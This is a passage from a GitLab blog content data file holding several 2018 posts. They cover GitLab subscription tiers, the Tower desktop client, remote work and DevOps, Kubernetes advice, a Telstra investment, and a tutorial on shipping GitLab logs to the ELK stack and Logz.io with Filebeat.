contribute to a given feature present in GitLab Core, e.g. Issue Boards. The code is submitted to the CE repo, therefore, it's open source code. The master branch of GitLab CE is then merged into GitLab EE. The CE code will be available to this Premium user in the next release.\n- Consider a user of GitLab Premium who wants to contribute to a given feature present only in Premium, e.g., Geo. The code is submitted directly to the EE repo, therefore, it's proprietary. The same is valid for Starter and Ultimate features.\n\n### Use cases\n\n#### GitLab self-managed use cases\n\n- I installed GitLab CE: I’m a Core user. I have access to Core features. The software I’m using is 100 percent open source.\n- I installed GitLab EE: the software I’m using is open core- it includes both open source and proprietary code.\n  - I don't have a subscription: I have access to Core features.\n  - I have a Starter subscription: I have access to Starter features.\n  - I have a GitLab Premium subscription: I have access to Premium features.\n  - I have a GitLab Ultimate subscription: I have access to Ultimate features.\n- I have a trial installation: I installed GitLab EE, and I’m an Ultimate user during the valid period of the trial. If the trial period expires and I don’t get a paid subscription (Starter, Premium, or Ultimate), I’ll become a Core user, with access to Core features.\n\n#### GitLab.com use cases\n\n- I use GitLab.com, a huge installation of GitLab EE. I’m using proprietary software.\n- I don’t have access to administration features as GitLab.com is administered by GitLab, Inc.\n- _Subscriptions_:\n  - I have a Bronze subscription: my private projects get access to Bronze features. My public projects get access to Gold features.\n  - I have a Silver subscription: my private projects get access to Silver features. My public projects get access to Gold features.\n  - I have a Gold subscription: my private projects get access to Gold features, as well as my public projects.\n  - I don’t have any paid subscriptions: I’m a Free GitLab.com user:\n      - I have access to Free features for private projects.\n      - I have access to Gold features for public projects.\n\n_Questions, comments? Let us know what you think below._\n",[676,754],{"slug":33611,"featured":6,"template":678},"gitlab-tiers","content:en-us:blog:gitlab-tiers.yml","Gitlab Tiers","en-us/blog/gitlab-tiers.yml","en-us/blog/gitlab-tiers",{"_path":33617,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33618,"content":33624,"config":33629,"_id":33631,"_type":16,"title":33632,"_source":17,"_file":33633,"_stem":33634,"_extension":20},"/en-us/blog/gitlab-merge-requests-in-tower",{"title":33619,"description":33620,"ogTitle":33619,"ogDescription":33620,"noIndex":6,"ogImage":33621,"ogUrl":33622,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33622,"schema":33623},"Merge requests are coming to your desktop with Tower","GitLab users can now work with merge requests right from their desktops. A new version of Tower brings native support for all self-managed versions of GitLab and GitLab.com.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680144/Blog/Hero%20Images/gitlab-merge-requests-in-tower.png","https://about.gitlab.com/blog/gitlab-merge-requests-in-tower","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Merge requests are coming to your desktop with Tower\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tobias Günther\"}],\n        \"datePublished\": \"2018-04-18\",\n      }",{"title":33619,"description":33620,"authors":33625,"heroImage":33621,"date":33626,"body":33627,"category":299,"tags":33628},[20692],"2018-04-18","\n\nThe concept of \"[merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/)\" has changed the way we work – by redefining the way we _collaborate_. Although it's a relatively new tool, it's already hard to think back to how we worked without them.\n\nVery recently, they have even burst out of the browser and are now, finally, accessible right on your desktop: the upcoming new major version of [Tower, a Git desktop client for Mac and Windows](https://www.git-tower.com/public-beta-2018), brings native support for GitLab merge requests!\n\nThis means that working with merge requests has become even more comfortable and easy: the most common tasks can now be performed directly from your desktop! You can create, merge, comment, inspect, and close merge requests in Tower. And, since you can of course work on your MRs in Tower _and_ in the browser side by side, we've included a quick link so you can access the browser version with just a click.\n\nAt the moment, you can use the _new_ Tower for free during our Public Beta. Simply [sign up on our beta page](https://www.git-tower.com/public-beta-2018) and give it a try. You'll see that we've worked very hard to make GitLab merge requests feel at home in Tower.\n\n### Check out how the integration works in the demo below:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/AXAyloYrgx4\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nAnd please let us know if you have [feedback for us](https://www.git-tower.com/support/contact): we're eager to help GitLab users become even more productive through Tower!\n\n## About the guest author\n\nTobias Günther is the founder and CEO of [Tower, the popular Git client for Mac and Windows](https://www.git-tower.com/).\n",[232],{"slug":33630,"featured":6,"template":678},"gitlab-merge-requests-in-tower","content:en-us:blog:gitlab-merge-requests-in-tower.yml","Gitlab Merge Requests In Tower","en-us/blog/gitlab-merge-requests-in-tower.yml","en-us/blog/gitlab-merge-requests-in-tower",{"_path":33636,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33637,"content":33643,"config":33648,"_id":33650,"_type":16,"title":33651,"_source":17,"_file":33652,"_stem":33653,"_extension":20},"/en-us/blog/remote-work-facilitates-devops",{"title":33638,"description":33639,"ogTitle":33638,"ogDescription":33639,"noIndex":6,"ogImage":33640,"ogUrl":33641,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33641,"schema":33642},"People agree that remote work in DevOps creates a stronger DevOps culture","What makes remote work more conducive to DevOps adoption? Here's a look at one of the findings of our 2018 Global Developer Report.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680149/Blog/Hero%20Images/devopsremotework.jpg","https://about.gitlab.com/blog/remote-work-facilitates-devops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"People agree that remote work in DevOps creates a stronger DevOps culture\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2018-04-17\",\n      }",{"title":33638,"description":33639,"authors":33644,"heroImage":33640,"date":33645,"body":33646,"category":8943,"tags":33647},[20767],"2018-04-17","\n_Our [2022 Global DevSecOps Survey](/developer-survey/) is out now! Learn the latest in DevOps insights from over 5,000 DevOps professionals._\n\nAccording to our [2018 Global Developer Report](/developer-survey/previous/2018/), remote teams tend to trend higher in visibility and DevOps satisfaction compared to in-office teams, suggesting that a remote workplace culture is more conducive to DevOps adoption.\n\n![The differences between remote and in-office teams](https://about.gitlab.com/images/blogimages/devopsremotestats.png){: .shadow.medium.center}\n\nAs a [remote-only](/company/culture/all-remote/) company, this finding naturally piqued our interest. We started thinking about the traits of a remote team and how these characteristics set up operations and development teams for success.\n\n## The challenges of DevOps adoption\n\nOne of the greatest difficulties an organization faces when adopting a DevOps model is a [resistance to culture change](https://www.cio.com/article/3235726/application-development/5-hurdles-to-adopting-devops.html). Because DevOps requires teams to collaborate and communicate in new ways (and at an increasing frequency), historically siloed teams may have trouble adjusting. This type of radical shift in culture can be too difficult for a team to handle and may result in an increase in friction and frustration.\n\nHow can teams that have traditionally worked alongside each other – [but not together](https://www.wired.com/insights/2015/03/culture-war-struggle-adopt-devops/) – suddenly adopt a model that encourages them to contribute to a single conversation across every stage?\n\n## Remote work paves the way to a smoother transition\n\nIn our survey we learned that [20 percent of respondents](/developer-survey/previous/2018/) say most or all of their development team works remotely. Every remote worker knows the importance of [communicating effectively](/blog/remote-communication/) and frequently to ensure that others are aware of decisions and progress. Without the convenience of physical proximity, working remotely requires a commitment to open discussion and an understanding that team members must be able to easily view projects and receive updates. Furthermore, remote teams use tools to work concurrently, decreasing the challenges of siloed workflows.\n\nAn effective remote culture embraces:\n\n- efficiency\n- collaboration\n- visibility\n\nWhen operations and development teams already have a culture founded on trust and transparency, they can more easily adopt a model that fosters cross-functional communication and workflows.\n\nRemote teams are already accustomed to transparency, collaboration, and visibility, making a DevOps adoption a seamless transition. Because teams must document discussion conclusions, an inherent benefit of working remotely is complete real-time visibility of all projects and activities, an advantage of the DevOps model.\n\n## How can in-office teams ease DevOps adoption?\n\nWhile a remote workplace culture appears to create a solid foundation upon which a DevOps model can thrive, we concede that remote teams can still encounter challenges to adoption. Poor communication, internal conflict, and a lack of defined processes can hinder any team. However, there are insights that in-office teams can gain from these findings. Because culture is the underpinning of successful DevOps adoption, in-office teams can ease challenges by encouraging teams to work concurrently and by transparently documenting conversations and decisions. Furthermore, a shift towards empathy can help teams gain respect for the work that others accomplish, a change that can increase collaboration and decrease friction.\n\nBy creating a collaborative culture, an organization can facilitate a smoother [transition to a DevOps model](/blog/a-snapshot-of-modern-devops-practices-today/).\n\nDoes your development team work remotely? Let’s chat about DevOps and remote working! Tweet us [@gitlab](https://twitter.com/gitlab).\n\n[Cover image](https://www.pexels.com/photo/high-angle-view-of-workplace-306533/) licensed\nunder [CC X](https://www.pexels.com/photo-license/)\n{: .note}\n",[3798,4103,8570],{"slug":33649,"featured":6,"template":678},"remote-work-facilitates-devops","content:en-us:blog:remote-work-facilitates-devops.yml","Remote Work Facilitates Devops","en-us/blog/remote-work-facilitates-devops.yml","en-us/blog/remote-work-facilitates-devops",{"_path":33655,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33656,"content":33661,"config":33667,"_id":33669,"_type":16,"title":33670,"_source":17,"_file":33671,"_stem":33672,"_extension":20},"/en-us/blog/five-things-i-wish-i-knew-about-kubernetes",{"title":33657,"description":33658,"ogTitle":33657,"ogDescription":33658,"noIndex":6,"ogImage":29575,"ogUrl":33659,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33659,"schema":33660},"5 things I wish I'd known about Kubernetes before I started","Looking to dive into Kubernetes? Here’s some advice on how to get started from a GitLab engineer.","https://about.gitlab.com/blog/five-things-i-wish-i-knew-about-kubernetes","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"5 things I wish I'd known about Kubernetes before I started\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jason Plum\"}],\n        \"datePublished\": \"2018-04-16\",\n      }",{"title":33657,"description":33658,"authors":33662,"heroImage":29575,"date":33664,"body":33665,"category":734,"tags":33666},[33663],"Jason Plum","2018-04-16","\n\nI first encountered Kubernetes in January 2017 when our CEO [Sid Sijbrandij](/company/team/#sytses) challenged me and five other team members to get a live install functional on Kubernetes for an Idea to Production demo during the company summit in Cancún.\n\nPrior to the challenge I had never touched Kubernetes. Nonetheless, my team members and I conquered the challenge, completing the task a day before deadline to boot. You can [watch the demo here](#kubernetes-summit-challenge-demo).\n\nNow, a little more than a year later, I've taken a deeper dive into the container orchestration platform, leading my team in building and releasing the alpha version of the [cloud native GitLab helm chart](https://gitlab.com/charts/gitlab/blob/master/README.md), which allows for the deployment of GitLab on Kubernetes. With that experience fresh in mind, I've got a bit of advice for those looking to move into the world of Kubernetes:\n\n## The internet is your friend. Check out the documentation, online courses and walkthroughs.\n\nFirst things first, there are a couple of really good sets of documentation out there, and even a solid [course on edX](https://www.edx.org/course/introduction-to-kubernetes). These are all good choices. You don’t have to go through all of the courses to really get a running start with what’s going on. But if you want to get into the nitty-gritty, I would strongly suggest taking some of the courses. If all you want to do is see it work, be able to play with it and kind of get an idea of what it is, then you can get a [free trial](https://cloud.google.com/partners/partnercredit/?PCN=a0n60000006Vpz4AAC) with [GKE (Google Kubernetes Engine)](/blog/gke-gitlab-integration/), set up a little cluster and do a deployment that way. And if all you want to do is deploy a couple of your applications into the same cluster, we (GitLab) already have [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) that can hook everything together for you, and then you can use your entire workflow, do your deployments, and pop right in there. We’ll even help you spin up a GKE cluster with all the requirements [right from the UI](https://docs.gitlab.com/ee/user/project/clusters/#adding-and-creating-a-new-gke-cluster-via-gitlab).\n\nBut if you want to do it by hand the first time, that’s one of those things where you should start with the tutorial walkthroughs. Install the tools. They are all straightforward to get your hands on. Pull down one of the charts, try it, change some configuration options and retry it. Just play with it.\n\n## Be clear on how you will use Kubernetes.\n\nThe challenges you encounter in Kubernetes really depend on what you’re trying to do with it. Are you using it as a test round, are you using it as a staging environment, or are you going all the way in and going for production? Just using it for a development environment is not really complicated. You need to understand some basic concepts, like namespaces. You need to know what a secret is, what a configuration is, and what a deployment is. These core concepts will get you a very long way.\n\nBeyond that, you start getting into the involved steps. That’s where you need to understand what didn’t exist prior, like the role-based access controls, or RBAC, which is now involved with Kubernetes and also Helm. Those features did not exist a year ago, and now they do. They are becoming ever-present and even more involved. This is good for people doing production, engineers, SREs (site reliability engineers), deployments, customers, etc. because now you’re making sure that things aren’t touching other things they shouldn’t. It’s not an open, flat plane of network.\n\nNow you have fine-grained controls via RBAC. Multiple namespaces, with controls per namespace on access or creation to secrets and configuration. This allows you to have production-grade multi-tenant clusters where you are not concerned about neighbors stepping on each other or poking their nose where they don't belong. This is a big step compared to the state of Kubernetes as a whole in early 2017.\n\n> The thing I wish I knew was how fast it was going to develop. I walked into Kubernetes in January and then I walked away from it in February. When I came back to it in September, I was surprised by how much had changed. And then the same thing keeps happening every single release.\n\n## Don’t expect the same version on every service provider.\n\nI think the biggest thing that people should understand is that not all cloud providers provide the exact same version of Kubernetes. They’re all very close, they’re all almost identical, but the way in which certain features are implemented is slightly different. So, the way you get it on Azure’s container services and the way you get it on Amazon’s container services or GKE won't be exactly the same. Everybody’s implementation is slightly different. Perhaps the available version of the base functionality is going to be a little different, but the real difference will be between each of these providers' own product integrations.\n\nThen there’s the whole ‘roll your own’ approach, at which point you get to use really nifty plugins and other components that you can’t use out of the box with a cloud provider today. Play with it, but it still comes down to this: there are differences between the providers. Target mainline or vanilla, and it will work everywhere. Target a provider, and you’re now a part of that provider.\n\n## Be nimble. Change is constant, but don’t follow along blindly in an attempt to keep up.\n\nWow, there is just so much development. In the year from when I first touched Kubernetes to where I’m at now, the feature set has expanded quite a bit. And the controls that are required for large enterprises are now in place. These can bite you if you’re not paying attention, but they’re not horribly hard to understand if you’re willing to just take a moment and read. Also, everybody and their brother is now doing this and playing with this. Just because you see somebody else do it doesn’t mean it’s an industry best practice.\n\n## Last bit of sage advice: Seriously. DO NOT sleep on the releases.\n\nThe thing I wish I knew was how fast it was going to develop. I walked into Kubernetes in January and then I walked away from it in February. When I came back to it in September, I was surprised by how much had changed. And then the same thing keeps happening every single release.\n\nIt is a production-ready system. However, new feature sets and capabilities are evolving at such a pace that it can be hard to keep up with. You’re not breaking anything, but now there’s all these new, nifty features. All the shinies keep coming.\n\nThis is not a six-month release cycle software. I’m not going to install Kubernetes, walk away for a year and come back thinking I’ll simply be able to go to the next LTS (long-term support). You have to be present. You have to be paying attention. It doesn’t matter if you only check in once a month, you’ve got to check in once a month.\n\n",[2509],{"slug":33668,"featured":6,"template":678},"five-things-i-wish-i-knew-about-kubernetes","content:en-us:blog:five-things-i-wish-i-knew-about-kubernetes.yml","Five Things I Wish I Knew About Kubernetes","en-us/blog/five-things-i-wish-i-knew-about-kubernetes.yml","en-us/blog/five-things-i-wish-i-knew-about-kubernetes",{"_path":33674,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33675,"content":33681,"config":33685,"_id":33687,"_type":16,"title":33688,"_source":17,"_file":33689,"_stem":33690,"_extension":20},"/en-us/blog/telstra-invests-in-gitlab",{"title":33676,"description":33677,"ogTitle":33676,"ogDescription":33677,"noIndex":6,"ogImage":33678,"ogUrl":33679,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33679,"schema":33680},"Telstra Ventures invests in GitLab to boost innovation and collaboration","We’re excited to announce that Telstra Ventures has invested in GitLab!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671288/Blog/Hero%20Images/gitlab-live-event.png","https://about.gitlab.com/blog/telstra-invests-in-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Telstra Ventures invests in GitLab to boost innovation and collaboration\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2018-04-16\",\n      }",{"title":33676,"description":33677,"authors":33682,"heroImage":33678,"date":33664,"body":33683,"category":299,"tags":33684},[711],"\n\nTelstra Ventures, the investment arm of Australia’s leading telecommunications and technology company, has chosen to invest in GitLab for our open core DevOps philosophy that supports the entire development and operations lifecycle.\n\n“Customers are increasingly demanding better digital experiences, and DevOps is becoming the leading way for companies to develop, deliver, and support applications that drive great customer experiences,” said Mark Sherman, Managing Director at Telstra Ventures. “One of the reasons we decided to invest is because GitLab is committed to continuously improving its application, which is key to helping companies rapidly take their best ideas from development to market.”\n\n>“One of the reasons we decided to invest is because GitLab is committed to continuously improving its application, which is key to helping companies rapidly take their best ideas from development to market.”\n\nWe believe that a collaborative environment is necessary to take your best ideas to market. We know from our [2018 Global Developer Report](/developer-survey/previous/2018/) that a collaborative environment is important to you (94 percent of respondents said so!), but that visibility and transparency has some catching up to do. In addition, 55 percent of respondents are still using at least five tools for their development processes and 62 percent of respondents acknowledged losing time due to context switching between tools on a typical work day. This isn’t a good use of anyone’s time, which is why it’s our mission to deliver a single application that meets everyone’s needs.\n\nOur focus on a collaborative approach gives development, quality assurance, security, and operations teams the ability to concurrently work on the same project within a single application and to see the entire workflow from their own point of view. The same information’s all there – just presented in a way that’s relevant to each team. We published a blog post last year with more details of [our DevOps vision](/blog/devops-strategy/). This investment from Telstra is affirmation that we’re on the right track and will help accelerate our progress towards realizing this vision.\n\n“We look forward to partnering with Telstra to support its large application team and to aid the company in its vision of connecting people through technology,” said [Sid Sijbrandij](/company/team/#sytses), our CEO and co-founder. “DevOps is increasingly being adopted by organizations around the globe to radically improve productivity and the pace at which software moves from idea to market.”\n\nAs the only single software application that supports the entire DevOps lifecycle, GitLab is built from the ground up to enable collaboration amongst teams adopting the methodology. We’re happy that Telstra believes in our vision and our capability to enable software development teams to achieve faster DevOps lifecycles.\n",[676,736],{"slug":33686,"featured":6,"template":678},"telstra-invests-in-gitlab","content:en-us:blog:telstra-invests-in-gitlab.yml","Telstra Invests In Gitlab","en-us/blog/telstra-invests-in-gitlab.yml","en-us/blog/telstra-invests-in-gitlab",{"_path":33692,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33693,"content":33699,"config":33706,"_id":33708,"_type":16,"title":33709,"_source":17,"_file":33710,"_stem":33711,"_extension":20},"/en-us/blog/monitoring-your-gitlab-environment-with-the-elk-stack",{"title":33694,"description":33695,"ogTitle":33694,"ogDescription":33695,"noIndex":6,"ogImage":33696,"ogUrl":33697,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33697,"schema":33698},"GitLab monitoring: Setting up Logz.io and ELK stack","ELK, together with GitLab’s logging framework, gives organizations a comprehensive view for monitoring, troubleshooting, and analyzing team activity.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680160/Blog/Hero%20Images/gitlab-logz-io-cover.png","https://about.gitlab.com/blog/monitoring-your-gitlab-environment-with-the-elk-stack","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to set up advanced monitoring for your GitLab environment with Logz.io and the ELK stack\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Daniel Berman\"}],\n        \"datePublished\": \"2018-04-13\",\n      }",{"title":33700,"description":33695,"authors":33701,"heroImage":33696,"date":33703,"body":33704,"category":734,"tags":33705},"How to set up advanced monitoring for your GitLab environment with Logz.io and the ELK stack",[33702],"Daniel Berman","2018-04-13","\n\nGitLab comes with some built-in monitoring and visualization capabilities, such as [Cycle Analytics](/solutions/value-stream-management/) and the [per-project contributors](https://docs.gitlab.com/ee/user/group/contribution_analytics/) and [repository](https://docs.gitlab.com/ee/user/project/repository/#repository-graph) graphs, as well as [integration with Prometheus](https://docs.gitlab.com/ee/administration/monitoring/prometheus/) to monitor your GitLab instance at the server level. Cycle Analytics is especially useful as it enables teams to analyze their efficiency. However, if you want to analyze the data by searching and querying, or if you want to visualize the data yourself, you might find it helpful to adopt a more centralized methodology by integrating with the [ELK Stack](https://logz.io/learn/complete-guide-elk-stack/) (Elasticsearch, Logstash and Kibana).\n\n\u003C!-- more -->\n\nELK provides powerful log aggregation, analysis and visualization capabilities that, used in tandem with GitLab’s extensive logging framework, will give organizations an accurate and comprehensive bird's eye view of the system for monitoring, troubleshooting, and analyzing team activity. Using GitLab’s log data, for example, rich dashboards can be created to monitor not only the system’s general health but also specific team metrics, such as the number of commits, issues opened and closed, and so forth.\n\n[Logz.io](https://logz.io/) users can benefit from a built-in integration with GitLab and the additional analysis tools provided by the service, but if you’re using your own ELK deployment you’ll be able to set up the described integration as well.\n\n## How to integrate GitLab and Logz.io\n\nThe steps outlined below presume the following:\n\n* You have an [Omnibus GitLab](https://docs.gitlab.com/omnibus/) installation up and running. If you haven't installed GitLab already, visit the [installation page](/installation/).\n* You have an ELK Stack up and running (either your own ELK deployment or a Logz.io account). We will be using Filebeat to ship the logs into Elasticsearch, so Logstash is only required if you want to apply advanced parsing to the data.\n\n### GitLab logs\nAs mentioned above, GitLab has an [advanced logging framework](https://docs.gitlab.com/ee/administration/logs.html) that ships a variety of different system logs.\n\nOf course, what log data you want to ship is entirely up to you. You can ship all the log data, or you can be a bit more selective. These logs can be pretty verbose, so depending on storage and retention considerations, it’s good practice to first understand what logs you need to monitor in the first place.\n\nThe Filebeat configurations provided below are designed for shipping the following logs.\n\n### production_json.log\nThis JSON-formatted log records requests sent by GitLab to the Ruby controllers. Here is a sample log:\n\n```json\n{\"method\":\"GET\",\"path\":\"/-/metrics\",\"format\":\"html\",\"controller\":\n\"MetricsController\",\"action\":\"index\",\"status\":200,\"duration\":1.69,\n\"view\":0.23,\"db\":0.0,\"time\":\"2017-12-26T14:47:49.505Z\",\"params\":{},\n\"remote_ip\":null,\"user_id\":null,\"username\":null}\n```\n\nAs you can see, the information in the log includes the request method, the controller, the action performed, the request status, duration, remote IP, and more.\n\nThe location of the file will vary according to your installation types. In the case of the Omnibus GitLab packages (recommended installation), the file will reside at:\n\n```\n/var/log/gitlab/gitlab-rails/production_json.log\n```\n\n### production.log\nThis is a plain text log file that contains information about all performed requests. It includes the request URL, type, and origin IP as well the parts of code that serviced it. The log also provides details on all SQL requests and how long they took. Here is a sample log:\n\n```\nCompleted 200 OK in 1ms (Views: 0.2ms | ActiveRecord: 3.2ms |\nElasticsearch: 1.5ms)\n```\n\nAgain, the location of the file varies. In the case of the GitLab Omnibus packages, the file resides at:\n\n```\n/var/log/gitlab/gitlab-rails/production.log\n```\n\n### api_json.log\nA specific, JSON-formatted, file for logging API requests only.\n\n```json\n{\"time\":\"2017-12-10T18:30:11.219Z\",\"severity\":\"INFO\",\"duration\":5.22,\n\"db\":0.82,\"view\":10.11,\"status\":200,\"method\":\"POST\",\"path\":\"/api/v4/\ninternal/allowed\",\"params\":{\"action\":\"git-upload-pack\",\"changes\":\"_any\",\"\n\u003Cspan style=\"font-weight: 400;\">project\":\"hello-world\",\"protocol\":\"ssh\",\"env\":\"{}\",\"key_id\":\"[FILTERED]\"\n,\"secret_token\":\"[FILTERED]\"},\"host\":\"127.0.0.1\",\"ip\":\"127.0.0.1\",\"ua\":\"Ruby\"}\u003C/span>\n```\n\nLocation:\n\n```\n /var/log/gitlab/gitlab-rails/api_json.log\n```\n\n### application.log\nThis plain text log file tracks GitLab actions such as adding a new user, creating a new project or group, and so forth. Can act as an audit trail for monitoring user activity.\n\nExample:\n\n```\nDecember 24, 2017 15:10: User Created: username=dbirtin email=xxx@gmail.com\nip=xx.xx.xxx.xx confirmed:true\n```\n\nLocation:\n```\n/var/log/gitlab/gitlab-rails/application.log\n```\n\nIn any case, I recommend reading GitLab’s [excellent documentation](https://docs.gitlab.com/ee/administration/logs.html) to read up on these log files and the information included in them before commencing.\n\n### Configuring Filebeat\n\nFilebeat is a log shipper belonging to the Beats family of shippers. Written in Go and extremely lightweight, Filebeat is the easiest and most cost-efficient way of shipping log files into the ELK Stack.\n\nIf you haven’t already installed Filebeat, here are some instructions (for Debian):\n\n```\ncurl -L -O https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-6.1.1-amd64.deb\nsudo dpkg -i filebeat-6.1.1-amd64.deb\n```\n\nOpen up the Filebeat configuration file at: `/etc/filebeat/filebeat.yml`:\n\n```\nsudo vim /etc/filebeat/filebeat.yml\n```\n\nThe following configuration defines the different GitLab files to track and ship into ELK. I’ve defined a prospector for each log type so I can add custom fields to each. Alternatively, I could have defined one prospector for all of the files.\n\n```\nfilebeat.prospectors:\n- type: log\n  enabled: true\n  paths:\n    - /var/log/gitlab/gitlab-rails/production_json.log\n  fields:\n    log: production_json\n  json.keys_under_root: true\n- type: log\n  enabled: true\n  paths:\n    - /var/log/gitlab/gitlab-rails/production.log\n  fields:\n    log: production\n- type: log\n  enabled: true\n  paths:\n    - /var/log/gitlab/gitlab-rails/api_json.log\n  fields:\n    log: api_json\n  json.keys_under_root: true\n- type: log\n  enabled: true\n  paths:\n    - /var/log/gitlab/gitlab-rails/application.log\n  fields:\n    log: application\noutput.elasticsearch:\n  # Array of hosts to connect to.\n  hosts: [\"localhost:9200\"]\n```\n\nStart Filebeat with:\n\n```\nsudo service filebeat start\n```\n\nAfter a while, a new index will be created and you can define a new index pattern (filebeat-*) in Kibana to begin analyzing the data.\n\n### Shipping to Logz.io\nIf you are using Logz.io, a few small modifications need to be applied to establish the logging pipeline.\n\nFirst, you will need to download an SSL certificate to use encryption:\n\n```\nwget https://raw.githubusercontent.com/logzio/public-certificates/master/COMODORSADomainValidationSecureServerCA.crt\n\nsudo mkdir -p /etc/pki/tls/certs\n\nsudo cp COMODORSADomainValidationSecureServerCA.crt /etc/pki/tls/certs/\n```\n\nYou can now edit the Filebeat configuration file. If you like, you can make use of the Logz.io Filebeat wizard to generate the FIlebeat YAML file automatically (available in the Filebeat section, under Log Shipping in the UI).\n\nEither way, the configurations should look something like this:\n\n```\nfilebeat:\n  prospectors:\n    -\n      paths:\n        - /var/log/gitlab/gitlab-rails/production_json.log\n      fields:\n        logzio_codec: json\n        token: \u003CyourToken>\n        type: gitlab-production-json\n      fields_under_root: true\n      encoding: utf-8\n      ignore_older: 3h\n    -\n      paths:\n        - /var/log/gitlab/gitlab-rails/production.log\n      fields:\n        logzio_codec: plain\n        token: \u003CyourToken>\n        type: gitlab-production\n      fields_under_root: true\n      encoding: utf-8\n      ignore_older: 3h\n    -\n      paths:\n        - /var/log/gitlab/gitlab-rails/api_json.log\n      fields:\n        logzio_codec: json\n        token: \u003CyourToken>\n        type: gitlab-api-json\n      fields_under_root: true\n      encoding: utf-8\n      ignore_older: 3h\n    -\n      paths:\n        - /var/log/gitlab/gitlab-rails/application.log\n      fields:\n        logzio_codec: plain\n        token: \u003CyourToken>\n        type: gitlab-application\n      fields_under_root: true\n      encoding: utf-8\n      ignore_older: 3h\n  registry_file: /var/lib/filebeat/registry\noutput:\n  logstash:\n    hosts: [\"listener.logz.io:5015\"]\n    ssl:\n      certificate_authorities: ['/etc/pki/tls/certs/COMODORSADomainValidationSecureServerCA.crt']\n```\n\nThe main differences are:\n\n* Logz.io specific fields added to each prospector. Replace \u003CyourToken> with your Logz.io account token (can be found in the Logz.io UI, under Settings).\n* The output section defines the Logz.io listener and the SSL certificate to use.\n\nOnce you start (or restart) Filebeat, the GitLab logs will begin to show up in Logz.io.\n\n### Analyzing the GitLab logs\nNow that your logging pipeline is up and running, it’s time to look into the data with some simple analysis operations in Kibana.\n\nSome of the fields can be used to get some visibility into the logs. Adding, for example, the ‘type’ field (the ‘log’ field in case you are using your own ELK), helps give the logs some context.\n\nWe can use Kibana queries to search for specific log data. Say, for example, you want to take a look at failed logins into the system. To do this, we would use this combination of a field-level and free-text search:\n\n```\ntype:gitlab-application AND \"failed\"\n```\n\n![Analyzing logs](https://about.gitlab.com/images/blogimages/monitoring-your-gitlab-environment-with-the-elk-stack/analyzing-logs.png){: .shadow.center}\n\nAnother example could be querying Elasticsearch for error responses for GitLab requests:\n\n```\ntype:gitlab-production-json AND status:[400 TO *]\n```\n\n![GitLab requests](https://about.gitlab.com/images/blogimages/monitoring-your-gitlab-environment-with-the-elk-stack/gitlab-requests.png){: .shadow.center}\n\nUsing Kibana’s visualization capabilities, you can create a series of simple charts and metric visualizations for giving you a nice overview of your GitLab environment. Here are a few examples.\n\n### Visualizing commits\nWhat organization does not want to monitor its team’s productivity? A simple metric visualization will give you a counter on how many commits were performed by your team:\n\n![Fourteen commits](https://about.gitlab.com/images/blogimages/monitoring-your-gitlab-environment-with-the-elk-stack/14.png){: .shadow.center}\n\nLikewise, we can create a line chart visualization that gives us an overview over time of the commits, per user:\n\n![Fourteen commits](https://about.gitlab.com/images/blogimages/monitoring-your-gitlab-environment-with-the-elk-stack/line-chart.png){: .shadow.center}\n\n### Visualizing issues\nIn a similar fashion, you can use Kibana to keep track of opened and closed issues. A simple data table visualization gives us a breakdown of the issues opened:\n\n![Visualize issues](https://about.gitlab.com/images/blogimages/monitoring-your-gitlab-environment-with-the-elk-stack/visualize-issues-1.png){: .shadow.center}\n\nA line chart can give us a depiction of how many issues were opened over time:\n\n![Line chart](https://about.gitlab.com/images/blogimages/monitoring-your-gitlab-environment-with-the-elk-stack/line-1.png){: .shadow.center}\n\nThe list goes on. You can monitor projects created, merges, user activity, CI/CD processes, and more. The logs generated by GitLab include a wealth of information that can be tapped into for monitoring, and adding these visualizations into one Kibana dashboard gives you a nice overview of your environment.\n\n![End dashboard](https://about.gitlab.com/images/blogimages/monitoring-your-gitlab-environment-with-the-elk-stack/end-dashboard.png){: .shadow.center}\n\n### End notes\nThe ELK Stack offers built-in storage, search and visualization features that complement GitLab’s rich logging capabilities. Using Filebeat, building a logging pipeline for shipping data into ELK is simple. If you want to further process the logs, you might want to consider adding Logstash into your pipeline setup.\n\nLogz.io provides some tools to help you hit the ground running – easy integration steps, as well as the monitoring dashboard above. To install the dashboard, simply search for ‘GitLab’ in ELK Apps and hit the install button.\n\nEnjoy!\n\n## About the guest author\n\nDaniel Berman is Product Evangelist at Logz.io. He is passionate about log analytics, big data, cloud, and family and loves running, Liverpool FC, and writing about disruptive tech stuff. Follow him 